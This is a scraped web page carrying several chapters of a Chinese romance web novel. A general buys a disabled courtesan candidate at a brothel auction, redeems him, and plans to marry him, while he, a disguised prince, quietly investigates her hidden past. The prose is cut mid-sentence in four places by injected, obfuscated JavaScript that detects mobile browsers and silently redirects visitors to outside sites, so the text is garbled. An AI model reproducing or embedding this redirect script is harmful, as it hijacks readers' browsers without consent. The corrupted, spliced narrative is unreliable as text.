下方搭满了鲜花的台子上终于传来声音,原本躁动的人群也安静了下来。 让墨云徵意外的是,台上主持又是那个熟人,之前的衣着打扮上看不出他在花楼的地位。 不过现在她知道了,这人还是个管事。 难怪什么都能安排的妥当。 听着他的介绍,倒是比干巴巴的文字要鲜活的多。 拍卖进行的如火如荼,男人的话术虽与名册上的不同,却能将特点展现的更加吸引人。 让原本打算一掷千金只为花魁初夜的女人,完全忍不住的把钱交了上去。 “接下来要拍的是,我们这里的一个清白公子。”男人笑着开口,在讲话时,视线不着痕迹地瞥向了墨云徵厢房一瞬,“不过,拍的不是他的初夜,而是首次露面的机会。” “玉清公子作为下一任花魁的候选,实力自然不用多说,重点是,在我们楼里也是独一份的……从小便泡在蜜罐子里,通体沁香,可以引蝶之人。” 听到沁香可以引蝶,下面瞬间沸腾起来,但男人却微微抬手示意,“只是为何不将玉清公子放在最后,一是为了压轴,二是因为,玉清公子不良于行,虽然奴家知道各位姐姐妹妹中有喜欢这类的,但主要还是为了大家的荷包着想,既然不是初夜,便不设那么高的门槛了。” 他这一说,便让人知道了好处,如同石子落入平静水面,一时间报价声迭起,倒是让原本觉得可以一试的墨云徵为难了脸色。 9. 第九章 倒也不是舍不得钱。 既然她都走到这一步,便没有什么退缩的道理。 但瞧见下方这么激动,若真是想争上一争的话,定免不了要大出血。 墨云徵权衡再三,总感觉只是为了心中一个毫无来由的猜想有些不值。 可是脑海中又闪过某人勾魂摄魄的脸。 如果真让她赌对了,那性质就完全不同了。而且都被形容的如此诱人,总不能是挂羊头卖狗肉,什么身负异香,见识一下总是不亏。 在她思索时,拍卖早就进入了白热化。 台上的男人面上虽笑着,却暗暗忖度楼上那位被特别关照的人何时出手。 不过随即他也释然了,不管最后她选择拍下谁,结果都不会有变化。 只是会让大人失望罢了。 跟自己也没有很大关系,他已经将任务圆满完成,剩下的也不会参与。 察觉到偶尔窥视的目光不再出现,墨云徵倒是奇怪起来。 虽然不知道对方千里迢迢跑过来的目的是什么,但这么如此明显的请君入瓮,她实在是熟悉不过。 一想到如果是他故意为之,女人就有些忍俊不禁。 倒是小心眼的很。 等着没有什么人再出价,她终于举起手中的牌子。 是根据观察选定的没人可以超过的数字。 果然,在她之后,并没有一人出现继续争抢,出价第二高的那个女子也只遗憾的摇摇头,又露出释然的笑。 墨云徵本就不想特别高调,却也没刻意隐藏什么。 相信今天过后一定会传到有心之人耳朵里,甚至更快。 毕竟不过是路上偶然遇到谢南书,下一刻就被女帝在觐见时提起,包括她从三皇子处逃走之事也一样。 到底对她有多不放心。 好吧,她的确不老实。 拿下想要的拍卖后,她便等着人来找,想着过会该怎么表现,也不再关注其他拍品,任由下面的人猜想自己的身份。 敲门声很快响起,是个面容冷峻的小侍,穿着深色的粗布衣服,一看就是不好说话的类型。 “公子吩咐我来接您。” 言简意赅,也没有什么谄媚。 看起来不卖身啊。 墨云徵饶有兴趣的将人上下打量一番,将弯着腰的小侍盯出一身鸡皮疙瘩,才意味不明地轻笑声,“走吧。” 跟着小侍上到最顶层,有七拐八拐了许多弯,路过了许多或关着办事,或半掩着的屋子,两人才在一扇门前停下。 对方转身做了个请的手势,“公子就在里面,如果有什么吩咐喊我就好。” 嗯,生硬的语气像是在威胁。 在女人耳朵里听出来的完全是另一个版本:我就在门口,敢做什么你就死定了。 如果最开始只有五成把握,那现在就是九成了。 哪有花楼里的小侍是这样的,半点杀气都不愿意收敛,真把她当成傻子了? 就算是为了看着她不做出什么坏事,也不该对付了钱的客人没有一点殷勤的态度。 最开始的管事就隐藏的很好,直到拍卖时看过来的第一眼才被她发觉。 不过房里的人知道自己手下早就把他出卖了吗。 “辛苦了。” 墨云徵压下想要翘起的嘴角,还有心里的跃跃欲试,礼貌点头,叩过门才进去。 屋内的空间比从外面看上去要大,红色的帷幔层层叠叠地构建出一个新的世界。 淡淡的花香萦绕在鼻尖,越到深处便越发浓烈。 “咳……” 墨云徵听到轻微的喘息,只消一声便确认了那人的身份。 “玉清公子?”她柔声唤着,像是来过许次花楼的恩客般,刻意压着语气中的急切,故作正经。 随着她拨开帷幔,靠坐在塌边的青年也逐渐露出被藏起的神秘面目。 看的出安祁略微改了面容,与玄北关那次不同。 因为知道两张脸都不是真正属于他的,但在墨云徵眼中分别不大。 她眼神很好,一般的易容都可以看出。 所以在青年抬起那双水汪汪的狐狸眼的那一刻,再多的修饰与掩盖都毫无作用。 曾经说萧亦尘像他,却不尽如此。 生涩泛着绿的果子与早就熟透得饱满的果实,虽出自同一颗树,总归是不同的。 无论是表皮还是内里。 更别说他现在身上根本没裹多少布料,淡红色的轻纱衬得里面冷白的皮肤若隐若现。 没想到他也能这么大胆。 不过就算有碳盆之类取暖,穿这么少不会生病吗? 萧祁安并没因她露骨打量的视线改变半分脸色,只用那清泠泠的嗓音装的乖顺道,“姑娘还站着做甚,坐吧。” 女人扫视了一圈,并未发现椅子。 虽然不想承认,但对方勾人的手段好像精进了些。 唯一能坐的位置只有他身侧,狭窄的小榻只他一人靠着还好,若是她过去,两人势必要腿贴着腿,肩粘着肩。 反正吃亏的不是自己,墨云徵也不扭捏,抬脚走到他身侧坐下,手臂更是下意识就搭在了那道纤弱的腰肢上,将人搂在怀里。 两人的身体有点太熟了,贴的严丝合缝。 尽管身体的主人现在不熟。 青年眼睛微微睁得大了些,似是真没料到她竟然毫不推脱,抹了胭脂的眼尾晕起了几分真切的艳色,琉璃似的眼珠将女人的身影清楚的映着,轻轻颤动。 墨云徵倒是蹙起了眉毛。 果然。 贴着自己的身子有着高于往常的温度,而原本正好被她一臂捞着的腰,此刻竟多出了些富余。 怎么把自己养的这么差? 莫非真的是被买到青楼里被虐待了? 就算知道对方不仅是羲和有身份的人,自身的手段亦是不俗,但若真的被好好对待,又怎么会病的那么重。 而且假死后还被自己步步紧逼。 万一没找到他的原因就是这个呢,不是没可能,虽然可能不大。 心里倒是没有什么后悔的情绪,不过她还是对熟悉的美人很怜惜的。 女人低头与他额头相抵,“真的发热了啊。” 许久没感受到的这般亲昵与熟稔,让萧祁安升起了些许奇怪的怀念感觉,毕竟除了她再没有敢如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而那被修的莹润的指甲也抠进她的新衣服里,将原本平整的布料捏出花般的褶皱。 掐算着对方的临界点,墨云徵终于放过了完全软了身子的某人。 “抱歉,玉清公子实在……”她顿了顿,两人对那未尽之意也了然于胸。 实在太诱人了。 听到她嘴里的称呼,萧祁安清醒过来,白皙的脸颊漫上红晕,只听他平复着凌乱的喘息,哑声道,“不怪姑娘,是玉清僭越了。” 他伏在自己肩头,吐息实在灼热,墨云徵感觉好像有什么水状的液体顺着她的锁骨流下,没入衣襟。 反应过来时才知道,是他的泪。 “玉清公子?”女人疑惑的声音在头顶响起。 为什么哭呢。 是仍沉浸在戏中,为接下来做铺垫,还是许久没被这般对待,激动到这般地步? 回应她的是对方抱的愈发紧的力度。 “姑娘带我走吧,求您。” 10. 第十章 原来是在这等着她。 虽不知道他来到玄烛都城的目的,但眼下目的却是明了。 铺垫了许多,只为了让自己带他走? 不过该怎么做,又成了问题。 “玉清公子怎么突然……”墨云徵露出适当的疑惑,欲言又止,“我要怎么带你走呢?” “姑娘都来了这里,怎会不懂玉清的意思,莫不是觉得不够?”萧祁安好像察觉到她的犹豫,又伸手将衣襟扯开了些,“若是姑娘,玉清可以的。” 他实在太豁得出去,可女人此刻没什么兴致,便赶忙将他露出的风光遮住,又给他拿了层外袍裹起来,“使不得!我是真心待玉清公子,无关风月。” 其他人说这话就罢了,墨云徵说出来他是万万不信的。 毕竟才见面就说一见钟情,要将他从玄北关带回都城成亲的是她。 他假死后,回来就当街和竹马拉拉扯扯,进了宫又同三皇子这样那样的也是她。 更别说现在。 自己稍微主动,就箍着他的腰不放,狠狠轻薄的,除了这个色鬼还能有谁。 她一点不懂拒绝? 大概是仍发着热,将他脑袋都烧的晕乎乎的,原本的情绪也被无限放大,泪又不受控制的坠下。 但这次他并没有刻意去演,只觉得实在承受不住心口的酸涩。 明明知道矫情多了会惹人厌烦的。 “哎呀,怎的又哭了。” 怀中的人好像水做的,把咸湿的液体混着脸上哭花的妆容一个劲的蹭到了她的领口,黏糊糊的,又实在让人不忍心生不出半点责备的想法。 “是我说错话了?那我同你赔个不是,就是别再哭了可好,哭得我的心都要化了。” 略显慌乱的语气唤回了理智,反应过来自己现在有多狼狈,萧祁安只得缩在她胸口闷闷道,“若是真的心化了,为何不愿带我走?姑娘今日能见到我,便足以证明是有能力的。” 墨云徵听到他的嗔怨,无奈的扯了扯嘴角,“我是有能力,但我不希望你只因这个跟我走。” “这是何意?”青年没能理解这话,睁着眼仰头想要看清她的表情。 女人揽着他的腰肢,直接将人抱起放在腿上坐着,与自己平视。 又托着他的脸颊,用帕子一点点帮他卸去粉饰,耐心道,“自是因为,我对你一见钟情,不愿你只将我当作逃出这里的踏板。” 被突然抱起,让双腿没有知觉的萧祁安陡然慌乱,想将人紧紧抓住时,就靠回了她的怀里。 原本要接着她的话讲下去的,但听到熟悉的一见钟情言论,差点让他没法保持面上的表情。 她倒是泛情,瞧见谁都这么说。 没等他开口,就又听墨云徵道,“我以为此生不会再动心了,曾经有人像春风一般,在我心里吹过就走了,但如今遇到了你。” 萧祁安心下微动,“这人是谁?” 但女人摇摇头,“都过去了。”而后就用那双看谁都深情的眸子望向他,“现在,我只想和你有一个家。” 虽然不用自己再继续勾引了,可青年听到目的达成,却完全高兴不起来,连带着面上的表情也是一片空白。 “我想要的,就是玉清公子的真心,并非利用。” 她的声音继续响起,萧祁安却觉得好像离自己越来越远。 直到眼前发黑,呼吸不畅的时候,他才反应过来。 这具身体,在今天已经使用过度了。 “玉清……是真心的。”他攥着墨云徵衣袖的手逐渐无力,还是强撑着回答了她。 墨云徵看着怀中的人从惊讶,到昏过去,没过几息的时间,也自然是听到了他的话。 用手背放在他的额头上,是不出所料的滚烫。 这就是不好好照顾自己身体的后果,她无奈的想。 连勾引人达成目的这种事都得半路夭折。 不过自己还是比较善解人意的。 拿起毯子将他又包了一圈,放在榻上靠好,墨云徵便转身出了门,对那个小侍吩咐道,“你们公子昏过去了,发热的厉害,快去找大夫。” 小侍听到后面上闪过一丝纠结,恶狠狠的瞪了她后,飞快的跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499552|185991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。 又威胁人。 跟他主子一样不可爱。 等大夫来看诊,开了药方之后,已经快要后半夜了。 几波人来了又走,折腾许久才让萧祁安退了高热。 墨云徵精力还是很不错,加上不是第一次处理这种情况,早就已经游刃有余。 在榻边又给人换了条帕子敷额头,又开始给小跟班找活干,“去把管事的找来,和我聊聊赎你们公子的事。” 眼见小侍梗个脖子要说什么,她又将食指放在唇边嘘了声,“别大吵大叫,他才睡。” 这女人装什么,他又不是不知道。 小侍愤愤的想,而且他就是瞪一下,什么时候要吵了。 他生气的转过身,但还是放轻了脚步,出去把管事带了回来。 后面的事非常简单,管事和她在门外讨价还价,小侍在里面继续伺候萧祁安。 最后墨云徵还是被狠狠宰了一笔。 原因是玉清公子是花魁候补,初夜也在,想要把人带走,肯定要把钱给够。 本来就家徒四壁,仅剩的积蓄也只有女帝才赏赐的千两黄金。 数量是不少,可她又不能还没捂热乎就都花干净不是。 真是不当家不知柴米贵。 说到当家…… 女人又将算盘打到了里面还在昏迷的青年头上。 可不能白花了那么多钱,安祁总得为他们这个家付出点什么。 毕竟他的目的肯定不止进她家门这么简单,在暴露之前,两人总得继续装着演着。 更别说她还要花钱把他八抬大轿娶进来,才能让其他人知道他们多么情比金坚。 女帝既然知道她在玄北关有一段情,又允许了她当面拒绝了三皇子的事,就算心里清楚她此番娶个花楼的男人是为何,也不会真的在明面上为难她什么。 也能断了她给自己塞人的心思。 皇家的颜面,怎么能允许堂堂皇子来她后宅中做个小的。 只是这法子也不是权宜之计,剩下的也只能让她走一步看一步再做打算。 11. 第十一章 都城里如今风头无两,让许多到了合适年龄的男子都想嫁的墨将军突然就名花有主了。 不知是从哪处传出来的消息,不出一个上午,全城人基本尽数听到:不久前凯旋的墨云徵,不过几天时间就要娶夫郎了,那让人羡慕忮忌的男人还是个卑贱的花楼出身。 好像还是一个名不经传的美人 现下他真是飞上枝头变凤凰了,但让人好奇的还是,那人究竟是怎么被看上的。 虽然有许多版本,但多是杜撰。 而最广为流传的版本更是将墨将军说成了风流成性之人,谁让她第一天回到都城就一头扎进了那烟花柳巷中,甚至不止一人看到她左拥右抱。 不过这样反而加强了流言的准确性。 “主子,这件事情已经传到街头巷尾了,如此败坏您的名声真的有必要吗?” “哎呀小雨,说过很多次了,不用叫我主子的,要实在不行,叫我小姐吧,你母亲是我姐姐的旧部,现在我搬了家,这个宅子还需要个管事的。” 萧祁安再次醒来时,听到的就是在耳边响起的两道女声,让习惯的安静的人还未睁眼就先皱起了眉。 “都听小姐的,只是……” “我懂你的意思,但你也不是不知我如今的处境,好了,他好像醒了,你去挑些人买回来吧,这府里一点人气都没有总不是办法。” 她们在说什么? 青年感觉眼皮格外沉重,费尽力气也只能让它张开一条缝。 好刺眼。 蓦地,一个温热的掌心覆上他的额头试探,“还好不那么热了,再发热下去,说不准要变成笨蛋了。” 手掌勉强为他遮住了些许光线,萧祁安终于看清面前人,那坐在自己身侧一直吵闹的喋喋不休的正是墨云徵。 怪不得。 墨云徵见他睁眼,便要收回手,却听到那人不满的轻哼,只得还将手放在原处,被那对蝶翼似的睫毛轻轻挠了挠。 “怎么了?还有哪处不舒服?” 青年发白的唇瓣嗫嚅一下,却没发出声音,她了然地倒了被温水用指尖沾了些涂给他,“现在有没有力气自己喝?要我扶着起身吗” “多谢姑娘。”萧祁安的眼睛一眨不眨地看着她,而后轻轻抿了下变得亮晶晶的唇瓣,这才哑声回道,“我自己可以的,劳烦姑娘了。” 闻言,墨云徵便一手端着茶杯,一手托着他的脊背将人揽着靠在了自己怀里,一套动作行云流水,完全看不出半点生疏,速度也没有很快,让这位弱柳扶风的病人感到半分眩晕与不适。 萧祁安感受到她贴心的动作,又因被抱着按在怀里,耳尖又悄悄攀上了红,看着被递到唇边的茶杯,小声道,“姑娘,这样……” 知道他又要说什么,这样不好吧的一类词。 可墨云徵完全没有退步的想法,只回他,“这样挺好,乖,你先喝了。” 深知这人的脾气,自己实在拗不过她,萧祁安便小口小口地喝着杯中的水,直到觉得腹中胀的慌,这才停了下来,“玉清感觉好多了,辛苦姑娘。” 他还是那般小鸟胃,还不喜欢喝水,才不到半杯就撑了。 墨云徵将杯放在一旁,将盖在他身上的衾被裹了个严实,“玉清公子怎么和我这般生分,如今可不是在楼里了。” 睁开眼的时候他就知道了,入目是全然陌生的环境。 果真是被带了出来,萧祁安心里除去了然,就是从见她第一面就挥之不去的酸涩感。 不过现在的他可以轻松地压制住,便没所谓了,这具身子向来没什么爽利的时候,还有这时时刻刻泛着憋闷的胸腔,他也早就习惯了。 “那玉清该如何称呼姑娘?” 青年被包成了蚕蛹,却不妨碍他用仅剩的露在外面的脸蛋装傻,头微微歪了些看她,连额上的碎发柔顺地垂落,随着他一颦一笑间荡起勾人的弧度。 “我昨日说的,玉清公子是半分没入耳?”见他这副模样,墨云徵的手也不由自主地轻轻撩起那些垂落的碎发,又托着他的脸颊不让人又逃避的机会,轻笑道,“既然如此,那我再说一遍可好?” 萧祁安怎会不知她这一开口要说什么,那双闪着狡黠的眸子早就将她的坏心思透露了完全。 想到从那嘴里说出的羞人的话,他便有些受不住了,脸颊轻轻贴着她的掌心蹭了蹭,眼睛却含着羞意同她对视,“玉清错了,不过是真的不知该如何称呼姑娘,若是叫妻主,万一僭越了,倒惹姑娘生气,可真是要吓坏我了。” 他又低声补充了句,“姑娘知道我身子不好,经不起吓的。” 尽管墨云徵见惯了他示弱的姿态,但时隔数月,再看到还是觉得颇有冲击力。 不过她面上仍不显,只游刃有余的回他,“我不觉得僭越,就叫这个吧,毕竟我是真的想迎娶玉清公子做我的正夫的。” “咱们的婚事我也定下了,就在清明节假后,这几日你就好好养身子,顺便再作为男主人慢慢接手府中事物,金子银子之类都可以拿去给你添补嫁妆。” 她嘴皮子太快,竟是将什么都安排好了。 听完所有,青年咬着唇瓣似是纠结,“可姑……妻主,玉清怎么值得这么好的。” 那轻弱的声音愈来愈低,“您将我赎回来,便是天大的恩情了,这正夫之位,如何使得呀。” “我说了心悦你,就断没有将人带回来委屈了的道理。”女人轻轻吻了下他的额角,“有何使不得?我一孤女,婚事自是自己做主,我选了玉清,你难道想我失望?” “怎会如此!”萧祁安赶忙摇头,纤细的手臂也环上她的脖颈,眼睫微垂,“只是玉清的身子终是累赘,总怕配不上妻主,而且……原来服侍的小侍也不在身边。” 女人勾起唇角,“你说那个脾气不好的小侍?他被管事的一并给我了,作为赎了你的添头,拿了我那么多银子,一个小侍不是我张口就能要来的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501784|185991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再拒绝下去就是不识抬举了。 萧祁安深知该如何反应才不容易起疑,便松了口气,软了身子重新贴在她怀里,“都这般了,玉清自是信妻主,也没什么怕的了。” 墨云徵轻轻拍抚着他的脊背,“那今日你先休息着,我让管事去给府里添了些人,若是之后你有想换人服侍的想法尽管找她就好,她不会不应的。” “玉清知道了。”青年乖顺的点头,又问道,“那位管事该如何称呼呀?” “她叫周雨,你叫她什么都行。”女人应着,“你的小侍又叫什么?我总不能一直叫他小坏脾气。” 听到她的称呼,萧祁安偷偷抿唇轻笑,“他叫小松。” “倒是好名字。” …… 过了几日墨云徵的悉心照顾,青年终于不再病怏怏的了,可以穿的稍微厚些,被小松推着到院中晒晒太阳,顺便看上一小会账本。 “公子,您干嘛这么上心呀。” 原本一直跟在萧祁安的小松是个闷葫芦性子,可因一直不满墨云徵对自家主子的那些行为,让他逮到了机会,没给她好脸色,就被惦记着说成了坏脾气。 于是为了不露馅,他就开始不再憋着那些偶尔想出的刻薄话,倒是有些板不过来了。 “这府上也没什么东西可管,您何必费这个心力……”他俯身压低声音在身前人耳边劝道。 萧祁安轻轻瞥了眼他,立竿见影地让小松闭了嘴。 “有些话还是不能说的,知道吗?”他将账本放在搭在腿上的薄毯间,有些疲惫的靠在轮椅背上,轻轻捏了捏鼻梁。 阳光洒落,将他的侧脸都照的有些透明,像是通体都由那易碎琉璃捏出来的,从天上落入凡间的人儿。 “对了,那间房还没去过,进去看看有没有要收拾起来放到库房的东西吧。”稍微恢复了些精神,青年重新睁开了眼睛,视线落在了那间紧闭着房门的屋子上。 “是。”小松方才一直不敢出声,听到他的吩咐才应了句。 木制的轮子在石板路上咯噔咯噔地滚动,最后停在门口,小松将其推开后,小心地抬着轮椅过了门槛。 房间里空荡荡的,并没有什么物件,只有灰尘随着阳光浮动,一股陈旧的霉味铺面而来,呛的青年直咳嗽。 “公子,这里只有一个坏的梳妆台。”小松看着里面除了床榻之外最为扎眼的东西,又问道,“要去看看吗?” 萧祁安用衣袖捂住了口鼻,声音低的微不可察,“去看看吧,如果坏的不能用,就扔掉算了。” 里面空间不大,就连地上的污渍也一览无余。 暗沉的点点血迹早就渗透到地面,与之融为一体,不知曾经发生过什么,连带着梳妆台上也溅到了几滴圆圆的血痕。 大抵是时间久远,就算刷了漆的木头也会开裂出缝隙,青年端详着梳妆台上的裂口,好似发现了什么东西。 他又定睛一看,是一本薄薄的册子。 12. 第十二章 青年撑着身子微微前倾,伸手将夹在里面的书册拽了出来,只是卡的有些紧,让他废了些力气,连指节都泛了白。 纸张早就泛黄,变得非常脆弱,萧祁安依旧掩着口鼻,一只手微微抬起向后面似是要接什么,而小松也心领神会贴心的递上了帕子,他接过后便拿着轻轻拂去了上面的灰尘与木屑。 里面小字写的娟秀,但却格外眼熟,他记性不错,想起是自己曾在玄北关的时候,在墨云徵贴身带着的平安扣上见过,那虽是绣的,但行笔留下的习惯,还有笔锋都别无二致,想来是出自同一人之手。 原以为又是她哪个情人绣的,还因此被他当作借口发作了一番,但如今看到这本如此有年代的物什,倒是真是自己冤枉了她。 萧祁安随手翻了一页读了起来,才看了半页就眉峰微蹙,重新合上了扉页,对着身侧不明所以的小松低声道,“今日看到这书的事情不许外传。”语毕便将书藏在了盖着的薄毯下藏好。 墨云徵很少会提出看自己的腿,但别的地方就不一定了,所以这是一个较为隐蔽的地方。 青年的手掌落在那双纤弱绵软的腿上,没有一点知觉与反应,不禁让他暗了神色,指尖也深入布料叠出的褶皱中紧紧攥住。 过了几息,他才松了力度,撑着轮椅一侧把手稳住身子,语气轻的似是要融在空中,“梳妆台就留在此处吧,也别提我们进来过。” 虽然知道地上会留下轮椅的辙痕与小松的足迹,但萧祁安心里并不担心。 从这间屋子的落灰程度,还有地面上只有他们进来的痕迹来看,墨云徵在得到这间宅子时并未踏足过一步,而这将军府又是玄烛女帝收回十年后重新赐予给她的,足以见得她并不在意,或是不愿打开这扇门。 那零星的血迹也颇有故事。 萧祁安到了玄烛都城并不是只呆呆地等这人回来,他早就把能查的东西都搜集了起来,尽管如此,到手的情报却不尽人意,甚至于少得可怜,明显就是有什么人刻意隐藏,抹去她的过去。 她家曾因一件错处被满门抄斩。 她是戴罪立功进的军队。 她做小兵的时候,曾经差点死在一场战役中,而且那场战斗只有她一人幸存。具体是何时发生,发生在何处,他均不知,最后判决也只是那守城的将领的失职。 这是小松收集到的唯三信息,剩下的他都知道也不会忘记,两人在玄北关明争暗斗那么久,她的每件功勋都是踩在他肩上拿到的,是他的耻辱。 墨云徵的身世是个秘密,是只有几个当事人才清楚知晓的秘辛,并且绝对与他要查的事有关,萧祁安坚信这点。 这也是他为什么在听到小松说宫变与玄烛势力参与时,不顾她当时的大肆搜查,也要启程先她一步动身的原因。 重新回到太阳下,不知怎的,萧祁安只觉得阳光灼得他浑身骨头缝都在疼,让他尽了全力捏着把手才堪堪没痛呼出声,却也没了继续讲话的余力,半阖上眼,维持着清浅的呼吸。 好在小松知道他的身体情况,稳稳地推着他往他们住的厢房走。 自家主子本就没完全恢复,这些日子怕被发现,连遏制毒素的药都停了没喝,每日还要操劳那些零碎的破事,如今还能坐住,不瘫软在轮椅中,已经是奇迹了。 墨云徵虽没亏待什么,给他们安排的住处也是极好的,采光通透,明亮宽敞,平日也会时不时来看看主子的情况,唯一让小松不满的就是掌家一事。 但萧祁安也说过,若是她不将这些东西交手,才是防备着他们。道理是如此,可他就是心疼主子。 当年他还是太子书童时,看着主子学得尽是四书五经,为君之道,阅得都是天下奇宝,现在却在这破烂府邸中跟柴米油盐为伍,被磋磨至此。 这可是他金枝玉叶的主子。 是他曾经无忧无虑,一心只为做个明君的小太子。 大厦一朝倾颓,云端月坠入尘泥。 好在他学了许多保命手段,才陪着主子走到如今。 小松抱着萧祁安回了榻上,又端了手炉给他放在衾被中暖着。 看着青年昏昏欲睡的模样,刚想给他放下支着的帘子挡光,身后传来一道平静的女声,“今日新到了一批东西,姑娘叫我送来给正夫过过眼。” 站在门口的正是周雨,因着在她这个角度只能瞧见小松,与榻上被挡住一半的人,便不知道萧祁安现在身子不适,就公事公办地走个过场。 “嘘。”吓得小松赶忙回头,小声地回她,生怕将人惊醒“公子歇下了。” 周雨这才用指尖按住唇瓣,低声同他道,“那等正夫醒了你知会一下,我不打扰了。” “无事……”萧祁安其实并未睡下,听他们两人这般小心翼翼,轻扯唇角,哑声道,“我知道了,麻烦小雨管事来一趟。” 他脸色实在太差,周雨看到不免想起玄北关时,跟在墨云徵身侧那位也是如此,病弱易碎,感觉是必须要被捧在手里才能养得活的。只是后来那位因为她的失误,不知是死了还是跑了,最后都未寻到。 “不麻烦,正夫需要我将姑娘叫来看看吗?”她原本波澜不惊的古板冰块脸上难得出现了别的情绪,关切道。 “不必了,妻主又不是大夫,来了只是为她徒增烦恼罢了。”青年慢慢喘了几口气又继续回她,“我歇会就可以了,没有什么大碍。” 虽然是一副随时都要去了的模样,可既然萧祁安都这般说了,她也不能真的强迫什么,只得点点头,“若是有什么不适的,一定要让小松来叫我们,耽误不得的。” “管事放心吧,我会的。”小松连连应下。 他们主仆真是一个模子的倔,周雨没有办法,但心里还是决定跟墨云徵汇报下状况。 目送她离开,小松才又开口,“公子,这些东西您真要今天看吗?不然放到明天吧,也不耽误什么。” 萧祁安抬眼瞧了眼门口的一堆东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16505377|185991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长舒了口气,“先弄进来吧,明日还有明日的事呢。” 小松胳膊拧不过大腿,不情愿的把一个个箱子抬到了青年床榻边。 见他慢慢从被中伸出手,随便捞了张大抵是信的物件,拆开看了眼。 信封原本是被封好的,此刻却被拆了开来,想来是墨云徵已经先点过了,倒是真没防着他,或许是什么不怕他知道的,对她来说不重要的东西。 躺着看东西还是难受,没等视线掠过几个字就感觉有些头晕目眩,萧祁安便将纸张放在一旁,同小松道,“小松,扶我起来。” “唉,好嘞。”身侧的人闻言托着他的脊背,又伸手给他支着起身。 靠在软枕中,青年又拿起信件看起来,只是越往下看,捏着薄薄纸张的力度就越大,等他将东西放下时,脸上早就没了一点表情。 只听他扬了扬下巴,冷冷道,“那箱是三皇子府上送的,扔到库房最里面去。” 见他也不清点,小松自然是没意见的,但明显自家主子是生气了。 一头雾水的小松并不知道原因,谨慎的又问了一句,“公子不看了吧,剩下的……” 萧祁安生气的原因很简单,墨云徵随便就让他看到三皇子写的那些东西,根本就是不在乎他的感受。 满目劳什子酸话,看的他恶心,这人以为是写戏本子吗? 他十岁就不看了! 青年怒极反笑,腰也不酸了,人也精神了,中气也足得不行,全凭那堵在心口的气撑着,“谁说不看,给我拿来,那不是还有封信?” 他倒是要看看都是那女人招惹的那些人,他进门才过几天就来给他立威。 小松看到那笑,感觉身后都阴侧侧的,无奈的挑出另外一箱子里的信递了上去。 死一样的寂静。 “哈,哈哈。”蓦地,两道清朗的笑声响起。 “好啊。”萧祁安随手扔了信纸,脸上不见半点欣喜,甚至还是没有表情的,“这个更好了。” 他指尖微抬,“那箱是安平侯府世子的,你抬到墨云徵面前,说是给她赴约用的。” 完全是气极了,开始直呼那人大名了。 记得上次听到这个语气,还是在他们在山中躲避追捕,主子知晓墨云徵大捷的消息。 “清明踏青……”萧祁安指完就恹恹地靠了回去,“倒是好兴致。” “怎么这次连演都不愿演下了。” 青年将掌心覆在心口轻按几下,越揉,那浓稠的眉眼却更加皱在了一处,像是被打翻的墨研浸透的画。 “公子!”小松看他这般简直吓坏了,“我去给公子叫大夫!” “别!”身后带着泣音的字传来,一听便是疼的不行了,“没……没事。” 短短四个字,便再无声息。 小松扭头就看到青年淡薄的身子软软的倒在塌边,赶紧折了回去,咬牙掏出个药丸给他服下。 “这是怎么了?” 13. 第十三章 突然出现的旁人属实给小松本就吊起的心吓了一颤,但很快他又反应过来这人究竟是谁。 尽管不想承认,但此刻墨云徵的声音就像救命稻草一样动听,除去自己对她的偏见,在照顾萧祁安这件事上,她做的向来挑不出错处。 但小松还是非常拎得清的,归根结底,无论是遮蔽风雨的檐还是外面下的狂风骤雨,都是来自她,也不怪主子对她又爱又恨。 当然,一定是恨偏多一些。 看着萧祁安顺利咽下药丸,小松这才让开了遮挡墨云徵的身体。 那药丸是用作解毒保命用的,因为材料及其稀少,制作工艺复杂,当年才制作出来三粒,而唯一会制的药师,也早就离开了人世。 可以说不到万不得已,他们都不会拿出来,毕竟是真的用一颗就少一颗。 今日萧祁安服下的,已经是第二颗了。 若没了这药,按照他的身体情况,很难熬过毒发,最后只能因药石无医而亡。 墨云徵眼尖,方才在院外听到一声惊慌的叫喊,进门前就看到小松给萧祁安喂了什么,心中料想大概是治疗他一身沉疴旧疾的奇药,只当作没看到,还出声提醒了下。 